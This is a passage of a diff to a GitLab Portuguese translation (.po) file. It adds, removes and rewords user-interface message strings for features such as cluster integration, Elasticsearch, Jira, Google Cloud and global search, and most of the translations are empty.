msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr "A URL usada para acessar a API Kubernetes."
+msgid "ClusterIntegration|The certificate-based method to connect clusters to GitLab was %{linkStart}deprecated%{linkEnd} in GitLab 14.5."
+msgstr ""
+
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr ""
@@ -8135,6 +8289,9 @@ msgstr ""
msgid "ClusterIntegration|Unknown Error"
msgstr ""
+msgid "ClusterIntegration|Use the %{linkStart}GitLab Agent%{linkEnd} to safely connect your Kubernetes clusters to GitLab. You can deploy your applications, run your pipelines, use Review Apps, and much more."
+msgstr ""
+
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr ""
@@ -8192,9 +8349,6 @@ msgstr ""
msgid "Code"
msgstr ""
-msgid "Code Coverage: %{coveragePercentage}"
-msgstr ""
-
msgid "Code Coverage: %{coveragePercentage}%{percentSymbol}"
msgstr ""
@@ -8231,6 +8385,9 @@ msgstr ""
msgid "Code review"
msgstr ""
+msgid "Code snippet"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr ""
@@ -8656,6 +8813,12 @@ msgstr ""
msgid "Configure Prometheus"
msgstr "Configurar Prometheus"
+msgid "Configure SAST IaC in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST IaC settings."
+msgstr ""
+
+msgid "Configure SAST IaC in `.gitlab-ci.yml`, creating this file if it does not already exist"
+msgstr ""
+
msgid "Configure SAST in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
msgstr ""
@@ -8668,6 +8831,9 @@ msgstr ""
msgid "Configure Secret Detection in `.gitlab-ci.yml`, creating this file if it does not already exist"
msgstr ""
+msgid "Configure Sentry integration for error tracking"
+msgstr ""
+
msgid "Configure Tracing"
msgstr ""
@@ -8707,9 +8873,6 @@ msgstr ""
msgid "Configure the way a user creates a new account."
msgstr ""
-msgid "Configure via Merge Request"
-msgstr ""
-
msgid "Configure which lists are shown for anyone who visits this board"
msgstr ""
@@ -9421,7 +9584,7 @@ msgstr ""
msgid "CorpusManagement|Latest Job:"
msgstr ""
-msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 10GB"
+msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 5GB"
msgstr ""
msgid "CorpusManagement|New upload"
@@ -9577,6 +9740,9 @@ msgstr ""
msgid "Create %{workspace} label"
msgstr ""
+msgid "Create Google Cloud project"
+msgstr ""
+
msgid "Create New Directory"
msgstr ""
@@ -9736,6 +9902,9 @@ msgstr ""
msgid "Create requirement"
msgstr ""
+msgid "Create service account"
+msgstr ""
+
msgid "Create snippet"
msgstr ""
@@ -9769,9 +9938,6 @@ msgstr ""
msgid "CreateTag|Tag"
msgstr ""
-msgid "CreateTokenToCloneLink|create a personal access token"
-msgstr ""
-
msgid "CreateValueStreamForm|%{name} (default)"
msgstr ""
@@ -9991,6 +10157,36 @@ msgstr ""
msgid "Critical vulnerabilities present"
msgstr ""
+msgid "Crm|Create new contact"
+msgstr ""
+
+msgid "Crm|Customer Relations Contacts"
+msgstr ""
+
+msgid "Crm|Description (optional)"
+msgstr ""
+
+msgid "Crm|Email"
+msgstr ""
+
+msgid "Crm|First name"
+msgstr ""
+
+msgid "Crm|Last name"
+msgstr ""
+
+msgid "Crm|New contact"
+msgstr ""
+
+msgid "Crm|No contacts found"
+msgstr ""
+
+msgid "Crm|No organizations found"
+msgstr ""
+
+msgid "Crm|Phone number (optional)"
+msgstr ""
+
msgid "Cron Timezone"
msgstr ""
@@ -10379,6 +10575,9 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr ""
+msgid "DSN"
+msgstr ""
+
msgid "Dashboard"
msgstr ""
@@ -11026,6 +11225,9 @@ msgstr ""
msgid "Delete Key"
msgstr ""
+msgid "Delete Selected"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr ""
@@ -11047,6 +11249,9 @@ msgstr ""
msgid "Delete corpus"
msgstr ""
+msgid "Delete deploy key"
+msgstr ""
+
msgid "Delete file"
msgstr ""
@@ -11101,9 +11306,6 @@ msgstr ""
msgid "Delete variable"
msgstr ""
-msgid "DeleteProject|Delete %{name}"
-msgstr ""
-
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -11149,6 +11351,12 @@ msgstr ""
msgid "Deleted projects cannot be restored!"
msgstr ""
+msgid "Deletes the source branch"
+msgstr ""
+
+msgid "Deletes the source branch."
+msgstr ""
+
msgid "Deleting"
msgstr ""
@@ -11266,6 +11474,9 @@ msgstr ""
msgid "Dependency Scanning"
msgstr ""
+msgid "Dependency list"
+msgstr ""
+
msgid "DependencyProxy|Cached %{time}"
msgstr ""
@@ -11281,19 +11492,25 @@ msgstr ""
msgid "DependencyProxy|Dependency Proxy"
msgstr ""
-msgid "DependencyProxy|Dependency Proxy disabled. To enable it, contact the group owner."
-msgstr ""
-
msgid "DependencyProxy|Dependency Proxy feature is limited to public groups for now."
msgstr ""
msgid "DependencyProxy|Dependency Proxy image prefix"
msgstr ""
-msgid "DependencyProxy|Enable Proxy"
+msgid "DependencyProxy|Enable Dependency Proxy"
+msgstr ""
+
+msgid "DependencyProxy|Image list"
+msgstr ""
+
+msgid "DependencyProxy|The Dependency Proxy is disabled. %{docLinkStart}Learn how to enable it%{docLinkEnd}."
+msgstr ""
+
+msgid "DependencyProxy|There are no images in the cache"
msgstr ""
-msgid "DependencyProxy|Manifest list"
+msgid "DependencyProxy|To see the image prefix and what is in the cache, visit the %{linkStart}Dependency Proxy%{linkEnd}"
msgstr ""
msgid "Depends on %d merge request being merged"
@@ -11533,9 +11750,6 @@ msgstr ""
msgid "Deployments"
msgstr ""
-msgid "Deployments to Google Kubernetes Engine can be "
-msgstr ""
-
msgid "Deployments|%{deployments} environment impacted."
msgid_plural "Deployments|%{deployments} environments impacted."
msgstr[0] ""
@@ -11765,7 +11979,7 @@ msgstr ""
msgid "DevOps Adoption"
msgstr ""
-msgid "DevOps Report"
+msgid "DevOps Reports"
msgstr ""
msgid "DevOps adoption"
@@ -12032,6 +12246,9 @@ msgstr ""
msgid "Disable"
msgstr ""
+msgid "Disable Elasticsearch until indexing completes."
+msgstr ""
+
msgid "Disable Two-factor Authentication"
msgstr ""
@@ -12199,6 +12416,9 @@ msgstr ""
msgid "Does not apply to projects in personal namespaces, which are deleted immediately on request."
msgstr ""
+msgid "Does not delete the source branch."
+msgstr ""
+
msgid "Domain"
msgstr ""
@@ -12289,9 +12509,6 @@ msgstr ""
msgid "Draft"
msgstr ""
-msgid "Draft merge requests can't be merged."
-msgstr ""
-
msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr ""
@@ -12325,6 +12542,9 @@ msgstr ""
msgid "DropdownWidget|No %{issuableAttribute} found"
msgstr ""
+msgid "DropdownWidget|No open %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -12403,9 +12623,15 @@ msgstr ""
msgid "Edit comment"
msgstr ""
+msgid "Edit commit message"
+msgstr ""
+
msgid "Edit deploy freeze"
msgstr ""
+msgid "Edit deploy key"
+msgstr ""
+
msgid "Edit description"
msgstr ""
@@ -12499,6 +12725,9 @@ msgstr ""
msgid "Elasticsearch indexing started"
msgstr ""
+msgid "Elasticsearch migration halted"
+msgstr ""
+
msgid "Elasticsearch reindexing is already in progress"
msgstr ""
@@ -12514,6 +12743,9 @@ msgstr ""
msgid "Elasticsearch zero-downtime reindexing"
msgstr ""
+msgid "Elasticsearch's region."
+msgstr ""
+
msgid "Elastic|None. Select namespaces to index."
msgstr ""
@@ -12535,6 +12767,9 @@ msgstr ""
msgid "Email a new %{name} to this project"
msgstr ""
+msgid "Email address suffix"
+msgstr ""
+
msgid "Email address to use for Support Desk"
msgstr ""
@@ -12634,9 +12869,6 @@ msgstr ""
msgid "EmailsOnPushService|Send notifications from the committer's email address if the domain matches the domain used by your GitLab instance (such as %{domains})."
msgstr ""
-msgid "EmailsOnPushService|can't exceed %{recipients_limit}"
-msgstr ""
-
msgid "EmailsOnPushService|tanuki@example.com gitlab@example.com"
msgstr ""
@@ -12688,6 +12920,9 @@ msgstr ""
msgid "Enable SSL verification"
msgstr ""
+msgid "Enable Sentry error tracking"
+msgstr ""
+
msgid "Enable Service Ping"
msgstr ""
@@ -12709,6 +12944,9 @@ msgstr ""
msgid "Enable access to the performance bar for non-administrators in a given group."
msgstr ""
+msgid "Enable access tokens to expire after 2 hours. If disabled, tokens do not expire."
+msgstr ""
+
msgid "Enable admin mode"
msgstr ""
@@ -12781,6 +13019,9 @@ msgstr ""
msgid "Enable multipart emails"
msgstr ""
+msgid "Enable only for confidential applications exclusively used by a trusted backend server that can securely store the client secret. Do not enable for native-mobile, single-page, or other JavaScript applications because they cannot keep the client secret confidential."
+msgstr ""
+
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
@@ -12955,6 +13196,12 @@ msgstr ""
msgid "Enter the number of seconds, or other human-readable input, like \"1 hour\". This timeout takes precedence over lower timeouts set for the project."
msgstr ""
+msgid "Enter the password for password-protected Elasticsearch servers."
+msgstr ""
+
+msgid "Enter the username for password-protected Elasticsearch servers."
+msgstr ""
+
msgid "Enter your Packagist server. Defaults to https://packagist.org."
msgstr ""
@@ -13038,16 +13285,13 @@ msgstr ""
msgid "EnvironmentsDashboard|More actions"
msgstr ""
-msgid "EnvironmentsDashboard|More information"
-msgstr ""
-
msgid "EnvironmentsDashboard|Remove"
msgstr ""
msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
msgstr ""
-msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
+msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{linkStart}More information%{linkEnd}"
msgstr ""
msgid "Environments|An error occurred while canceling the auto stop, please try again"
@@ -13287,9 +13531,6 @@ msgstr ""
msgid "Epics|Enter a title for your epic"
msgstr ""
-msgid "Epics|How can I solve this?"
-msgstr ""
-
msgid "Epics|Leave empty to inherit from milestone dates"
msgstr ""
@@ -13338,9 +13579,6 @@ msgstr ""
msgid "Epics|Something went wrong while removing issue from epic."
msgstr ""
-msgid "Epics|These dates affect how your epics appear in the roadmap. Dates from milestones come from the milestones assigned to issues in the epic. You can also set fixed dates or remove them entirely."
-msgstr "Estas datas afetam a forma como os teus épicos aparecem no roteamento. As datas de objetivos vêm de objetivos atribuídos aos problemas nos épicos. Também podes definir datas fixas ou removê-las totalmente."
-
msgid "Epics|This epic and any containing child epics are confidential and should only be visible to team members with at least Reporter access."
msgstr ""
@@ -13677,7 +13915,7 @@ msgstr ""
msgid "EscalationPolicies|Escalation policies"
msgstr ""
-msgid "EscalationPolicies|Escalation policy %{obstacle} in Project %{project}"
+msgid "EscalationPolicies|Escalation policy %{obstacle} in project %{project}"
msgstr ""
msgid "EscalationPolicies|Escalation rules"
@@ -13859,9 +14097,6 @@ msgstr ""
msgid "Exceptions"
msgstr ""
-msgid "Excess storage"
-msgstr ""
-
msgid "Excluding merge commits. Limited to %{limit} commits."
msgstr ""
@@ -13979,6 +14214,12 @@ msgstr ""
msgid "Explore public groups"
msgstr ""
+msgid "Explore snippets"
+msgstr ""
+
+msgid "Explore topics"
+msgstr ""
+
msgid "Export"
msgstr ""
@@ -14054,6 +14295,12 @@ msgstr ""
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr ""
+msgid "ExternalIssueIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}%{trackerName}%{linkEnd}."
+msgstr ""
+
+msgid "ExternalIssueIntegration|This issue is synchronized with %{trackerName}"
+msgstr ""
+
msgid "ExternalWikiService|External wiki"
msgstr ""
@@ -14170,6 +14417,9 @@ msgstr ""
msgid "Failed to install."
msgstr ""
+msgid "Failed to load"
+msgstr ""
+
msgid "Failed to load assignees."
msgstr ""
@@ -14236,6 +14486,9 @@ msgstr ""
msgid "Failed to move this issue because target project doesn't exist."
msgstr ""
+msgid "Failed to promote issue to incident"
+msgstr ""
+
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr ""
@@ -14248,9 +14501,6 @@ msgstr ""
msgid "Failed to publish issue on status page."
msgstr ""
-msgid "Failed to register Agent"
-msgstr ""
-
msgid "Failed to remove a Zoom meeting"
msgstr ""
@@ -14690,6 +14940,9 @@ msgstr ""
msgid "Filter by merge requests that are currently merged."
msgstr ""
+msgid "Filter by milestone"
+msgstr ""
+
msgid "Filter by milestone name"
msgstr "Filtrar por nome de objetivo"
@@ -14786,15 +15039,6 @@ msgstr ""
msgid "Fixed burndown chart"
msgstr ""
-msgid "Fixed date"
-msgstr ""
-
-msgid "Fixed due date"
-msgstr ""
-
-msgid "Fixed start date"
-msgstr ""
-
msgid "Fixed:"
msgstr ""
@@ -14873,6 +15117,9 @@ msgstr ""
msgid "For example, the application using the token or the purpose of the token."
msgstr ""
+msgid "For files larger than this limit, only index the file name. The file content is neither indexed nor searchable."
+msgstr ""
+
msgid "For general work"
msgstr ""
@@ -15086,6 +15333,9 @@ msgstr ""
msgid "Generate site and private keys at"
msgstr ""
+msgid "Generated service account is linked to the selected environment"
+msgstr ""
+
msgid "Generic"
msgstr ""
@@ -15191,9 +15441,6 @@ msgstr ""
msgid "Geo|Could not remove tracking entry for an existing project."
msgstr ""
-msgid "Geo|Could not remove tracking entry for an existing upload."
-msgstr ""
-
msgid "Geo|Data replication lag"
msgstr ""
@@ -15467,9 +15714,6 @@ msgstr ""
msgid "Geo|Tracking entry for project (%{project_id}) was successfully removed."
msgstr ""
-msgid "Geo|Tracking entry for upload (%{type}/%{id}) was successfully removed."
-msgstr ""
-
msgid "Geo|URL can't be blank"
msgstr ""
@@ -15641,6 +15885,9 @@ msgstr ""
msgid "GitLab account request rejected"
msgstr ""
+msgid "GitLab and Google Cloud configuration seems to be incomplete. This probably can be fixed by your GitLab administration team. You may share these logs with them:"
+msgstr ""
+
msgid "GitLab commit"
msgstr ""
@@ -15704,6 +15951,9 @@ msgstr ""
msgid "GitLab version"
msgstr ""
+msgid "GitLab will create a branch in your fork and start a merge request."
+msgstr ""
+
msgid "GitLab.com"
msgstr ""
@@ -15875,6 +16125,51 @@ msgstr ""
msgid "Global notification settings"
msgstr "Definições globais de notificação"
+msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
+msgstr ""
+
+msgid "GlobalSearch|Issues I've created"
+msgstr ""
+
+msgid "GlobalSearch|Issues assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests I've created"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests that I'm a reviewer"
+msgstr ""
+
+msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
+msgstr ""
+
+msgid "GlobalSearch|Search GitLab"
+msgstr ""
+
+msgid "GlobalSearch|Search or jump to..."
+msgstr ""
+
+msgid "GlobalSearch|Search results are loading"
+msgstr ""
+
+msgid "GlobalSearch|Type and press the enter key to submit search."
+msgstr ""
+
+msgid "GlobalSearch|Type for new suggestions to appear below."
+msgstr ""
+
+msgid "GlobalSearch|in all GitLab"
+msgstr ""
+
+msgid "GlobalSearch|in group"
+msgstr ""
+
+msgid "GlobalSearch|in project"
+msgstr ""
+
msgid "Go Back"
msgstr ""
@@ -16022,7 +16317,19 @@ msgstr ""
msgid "Google Cloud"
msgstr ""
-msgid "Google Cloud offers several deployment targets. Select the one most suitable for your project."
+msgid "Google Cloud Project"
+msgstr ""
+
+msgid "Google Cloud authorizations required"
+msgstr ""
+
+msgid "Google Cloud project"
+msgstr ""
+
+msgid "Google Cloud project misconfigured"
+msgstr ""
+
+msgid "Google Cloud project required"
msgstr ""
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
@@ -16079,6 +16386,9 @@ msgstr ""
msgid "GraphViewType|Stage"
msgstr ""
+msgid "Graphs"
+msgstr ""
+
msgid "Gravatar"
msgstr ""
@@ -16343,7 +16653,7 @@ msgstr ""
msgid "GroupSAML|\"persistent\" recommended"
msgstr ""
-msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enable %{linkStart}SSO enforcement%{linkEnd} to reduce security risks."
msgstr ""
msgid "GroupSAML|Active SAML Group Links (%{count})"
@@ -16643,6 +16953,12 @@ msgstr ""
msgid "GroupSettings|What are badges?"
msgstr ""
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgstr ""
+
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals. Increasing the user cap will not automatically approve pending users."
+msgstr ""
+
msgid "GroupSettings|You can only transfer the group to a group you manage."
msgstr ""
@@ -16820,7 +17136,10 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
-msgid "Header cannot be associated with both a request and a response"
+msgid "Have a quick chat with us about your experience."
+msgstr ""
+
+msgid "Have more to say about GitLab?"
msgstr ""
msgid "Header logo"
@@ -16835,7 +17154,10 @@ msgstr ""
msgid "Header message"
msgstr ""
-msgid "Header must be associated with a request or response"
+msgid "HeaderAction|incident"
+msgstr ""
+
+msgid "HeaderAction|issue"
msgstr ""
msgid "Headers"
@@ -16934,6 +17256,9 @@ msgstr ""
msgid "Hi %{username}!"
msgstr ""
+msgid "Hidden"
+msgstr ""
+
msgid "Hide"
msgstr ""
@@ -17199,7 +17524,7 @@ msgstr ""
msgid "Identities"
msgstr ""
-msgid "If any indexed field exceeds this limit it will be truncated to this number of characters and the rest will not be indexed or searchable. This does not apply to repository and wiki indexing. Setting this to 0 means it is unlimited."
+msgid "If any indexed field exceeds this limit, it is truncated to this number of characters. The rest of the content is neither indexed nor searchable. This does not apply to repository and wiki indexing. For unlimited characters, set this to 0."
msgstr ""
msgid "If blank, defaults to %{code_open}Retry later%{code_close}."
@@ -17238,6 +17563,9 @@ msgstr ""
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
+msgid "If there isn't any existing index, GitLab creates one."
+msgstr ""
+
msgid "If this email was added in error, you can remove it here:"
msgstr ""
@@ -18015,7 +18343,10 @@ msgstr ""
msgid "IncidentManagement|All"
msgstr ""
-msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list."
+msgstr ""
+
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list. You can also create a new incident using the button below."
msgstr ""
msgid "IncidentManagement|Assignees"
@@ -18180,9 +18511,6 @@ msgstr ""
msgid "Include description in commit message"
msgstr ""
-msgid "Include merge request description"
-msgstr ""
-
msgid "Include new features from all tiers."
msgstr ""
@@ -18246,6 +18574,9 @@ msgstr ""
msgid "Infrastructure Registry"
msgstr ""
+msgid "Infrastructure as Code (IaC) Scanning"
+msgstr ""
+
msgid "InfrastructureRegistry|Copy Terraform Command"
msgstr ""
@@ -18461,12 +18792,18 @@ msgstr ""
msgid "Integrations|Default settings are inherited from the instance level."
msgstr ""
+msgid "Integrations|Edit project alias"
+msgstr ""
+
msgid "Integrations|Enable GitLab.com slash commands in a Slack workspace."
msgstr ""
msgid "Integrations|Enable comments"
msgstr ""
+msgid "Integrations|Enter your alias"
+msgstr ""
+
msgid "Integrations|Failed to link namespace. Please try again."
msgstr ""
@@ -18584,6 +18921,9 @@ msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
+msgid "Integrations|You can use this alias in your Slack commands"
+msgstr ""
+
msgid "Integrations|You haven't activated any integrations yet."
msgstr ""
@@ -18599,6 +18939,12 @@ msgstr ""
msgid "Integrations|ZenTao issues display here when you create issues in your project in ZenTao."
msgstr ""
+msgid "Integrations|can't exceed %{recipients_limit}"
+msgstr ""
+
+msgid "Interactive developer security education."
+msgstr ""
+
msgid "Interactive mode"
msgstr ""
@@ -18629,7 +18975,10 @@ msgstr ""
msgid "Interval Pattern"
msgstr ""
-msgid "Introducing Your DevOps Report"
+msgid "Introduced in GitLab 13.1, before using %{reindexing_link_start}zero-downtime reindexing%{link_end} and %{migrations_link_start}Advanced Search migrations%{link_end}, you need to %{recreate_link_start}recreate your index%{link_end}."
+msgstr ""
+
+msgid "Introducing Your DevOps Reports"
msgstr ""
msgid "Invalid Insights config file detected"
@@ -18686,7 +19035,7 @@ msgstr ""
msgid "Invalid period"
msgstr ""
-msgid "Invalid pin code"
+msgid "Invalid pin code."
msgstr ""
msgid "Invalid pod_name"
@@ -18824,22 +19173,19 @@ msgstr ""
msgid "InviteMembersModal|Close invite team members"
msgstr ""
-msgid "InviteMembersModal|Collaborate on open issues and merge requests"
-msgstr ""
-
-msgid "InviteMembersModal|Configure CI/CD"
+msgid "InviteMembersModal|Congratulations on creating your project, you're almost there!"
msgstr ""
-msgid "InviteMembersModal|Configure security features"
+msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
msgstr ""
-msgid "InviteMembersModal|Contribute to the codebase"
+msgid "InviteMembersModal|GitLab is better with colleagues!"
msgstr ""
-msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
+msgid "InviteMembersModal|GitLab member or email address"
msgstr ""
-msgid "InviteMembersModal|GitLab member or email address"
+msgid "InviteMembersModal|How about inviting a colleague or two to join you?"
msgstr ""
msgid "InviteMembersModal|Invite"
@@ -18854,9 +19200,6 @@ msgstr ""
msgid "InviteMembersModal|Members were successfully added"
msgstr ""
-msgid "InviteMembersModal|Other"
-msgstr ""
-
msgid "InviteMembersModal|Search for a group to invite"
msgstr ""
@@ -18875,9 +19218,6 @@ msgstr ""
msgid "InviteMembersModal|To assign issues to a new team member, you need a project for the issues. %{linkStart}Create a project to get started.%{linkEnd}"
msgstr ""
-msgid "InviteMembersModal|What would you like new member(s) to focus on? (optional)"
-msgstr ""
-
msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
@@ -19064,6 +19404,9 @@ msgstr ""
msgid "Issue first deployed to production"
msgstr ""
+msgid "Issue has been promoted to incident"
+msgstr ""
+
msgid "Issue label"
msgstr ""
@@ -19139,6 +19482,9 @@ msgstr ""
msgid "IssueBoards|Switch board"
msgstr ""
+msgid "IssueList|created %{timeAgoString} by %{user}"
+msgstr ""
+
msgid "IssueTracker|Custom issue tracker"
msgstr ""
@@ -19196,16 +19542,13 @@ msgstr ""
msgid "Issues"
msgstr ""
-msgid "Issues I've created"
-msgstr ""
-
msgid "Issues Rate Limits"
msgstr ""
msgid "Issues and merge requests"
msgstr ""
-msgid "Issues assigned to me"
+msgid "Issues are being rebalanced at the moment, so manual reordering is disabled."
msgstr ""
msgid "Issues can be bugs, tasks or ideas to be discussed. Also, issues are searchable and filterable."
@@ -19214,9 +19557,6 @@ msgstr ""
msgid "Issues closed"
msgstr ""
-msgid "Issues manual ordering is temporarily disabled for technical reasons."
-msgstr ""
-
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -19310,6 +19650,9 @@ msgstr ""
msgid "Iterations|Automated scheduling"
msgstr ""
+msgid "Iterations|Cadence configuration is invalid."
+msgstr ""
+
msgid "Iterations|Cadence name"
msgstr ""
@@ -19319,6 +19662,9 @@ msgstr ""
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Create cadence and start iteration"
+msgstr ""
+
msgid "Iterations|Create iteration"
msgstr ""
@@ -19415,9 +19761,15 @@ msgstr ""
msgid "Iterations|Title"
msgstr ""
+msgid "Iterations|Unable to find iteration cadence."
+msgstr ""
+
msgid "Iterations|Unable to find iteration."
msgstr ""
+msgid "Iterations|Unable to save cadence. Please try again."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
@@ -19442,9 +19794,6 @@ msgstr ""
msgid "Japanese language support using"
msgstr ""
-msgid "Jira Issues"
-msgstr ""
-
msgid "Jira display name"
msgstr ""
@@ -19553,18 +19902,9 @@ msgstr ""
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
-msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
-msgstr ""
-
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
-msgid "JiraService|Failed to update Jira issue labels. View the issue in Jira, or reload the page."
-msgstr ""
-
-msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
-msgstr ""
-
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -19583,18 +19923,12 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
-msgid "JiraService|Issue List"
-msgstr ""
-
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
msgid "JiraService|Jira API URL"
msgstr ""
-msgid "JiraService|Jira Issues"
-msgstr ""
-
msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
msgstr ""
@@ -19604,6 +19938,9 @@ msgstr ""
msgid "JiraService|Jira issue type"
msgstr ""
+msgid "JiraService|Jira issues"
+msgstr ""
+
msgid "JiraService|Jira project key"
msgstr ""
@@ -19613,12 +19950,6 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr ""
-msgid "JiraService|No available statuses"
-msgstr ""
-
-msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
-msgstr ""
-
msgid "JiraService|Open Jira"
msgstr ""
@@ -19649,9 +19980,6 @@ msgstr ""
msgid "JiraService|This is an Ultimate feature"
msgstr ""
-msgid "JiraService|This issue is synchronized with Jira"
-msgstr ""
-
msgid "JiraService|Transition Jira issues to their final state:"
msgstr ""
@@ -19949,6 +20277,9 @@ msgstr ""
msgid "Ki"
msgstr ""
+msgid "Kontra"
+msgstr ""
+
msgid "Kroki"
msgstr ""
@@ -20293,7 +20624,7 @@ msgstr ""
msgid "Learn more about groups."
msgstr ""
-msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced search configuration%{configuration_link_end} documentation. Changes won't take place until the index is %{recreated_link_start}recreated%{recreated_link_end}."
+msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
msgid "Learn more about signing commits"
@@ -20398,6 +20729,9 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitLab|Your team is growing! You've successfully invited new team members to the %{projectName} project."
+msgstr ""
+
msgid "LearnGitlab|Creating your onboarding experience..."
msgstr ""
@@ -20443,6 +20777,9 @@ msgstr ""
msgid "License Compliance"
msgstr ""
+msgid "License compliance"
+msgstr ""
+
msgid "License file"
msgstr ""
@@ -20581,9 +20918,6 @@ msgstr ""
msgid "Licenses|Detected licenses that are out-of-compliance with the project's assigned policies"
msgstr ""
-msgid "Licenses|Disallow Merge request if detected and will instruct the developer to remove"
-msgstr ""
-
msgid "Licenses|Displays licenses detected in the project, based on the %{linkStart}latest successful%{linkEnd} scan"
msgstr ""
@@ -20611,13 +20945,13 @@ msgstr ""
msgid "Licenses|The license list details information about the licenses used within your project."
msgstr ""
-msgid "Licenses|View license details for your project"
+msgid "Licenses|Unacceptable license, if detected it will disallow a merge request until it's removed"
msgstr ""
-msgid "Limit display of time tracking units to hours."
+msgid "Licenses|View license details for your project"
msgstr ""
-msgid "Limit namespaces and projects that can be indexed"
+msgid "Limit display of time tracking units to hours."
msgstr ""
msgid "Limit project size at a global, group, and project level. %{link_start}Learn more%{link_end}."
@@ -20635,6 +20969,9 @@ msgstr ""
msgid "Limit the number of issues and epics per minute a user can create through web and API requests."
msgstr ""
+msgid "Limit the number of namespaces and projects that can be indexed."
+msgstr ""
+
msgid "Limit the size of Sidekiq jobs stored in Redis."
msgstr ""
@@ -20850,7 +21187,7 @@ msgstr ""
msgid "MERGED"
msgstr ""
-msgid "MR widget|Back to the Merge request"
+msgid "MR widget|Back to the merge request"
msgstr ""
msgid "MR widget|See your pipeline in action"
@@ -20931,7 +21268,7 @@ msgstr ""
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr ""
-msgid "Manage applications that can use GitLab as an OAuth provider."
+msgid "Manage applications that use GitLab as an OAuth provider."
msgstr ""
msgid "Manage applications that you've authorized to use your account."
@@ -21144,6 +21481,9 @@ msgstr ""
msgid "Maximum Conan package file size in bytes"
msgstr ""
+msgid "Maximum Helm chart file size in bytes"
+msgstr ""
+
msgid "Maximum Maven package file size in bytes"
msgstr ""
@@ -21162,6 +21502,9 @@ msgstr ""
msgid "Maximum allowable lifetime for personal access token (days)"
msgstr ""
+msgid "Maximum allowed lifetime for SSH keys (in days)"
+msgstr ""
+
msgid "Maximum artifacts size"
msgstr ""
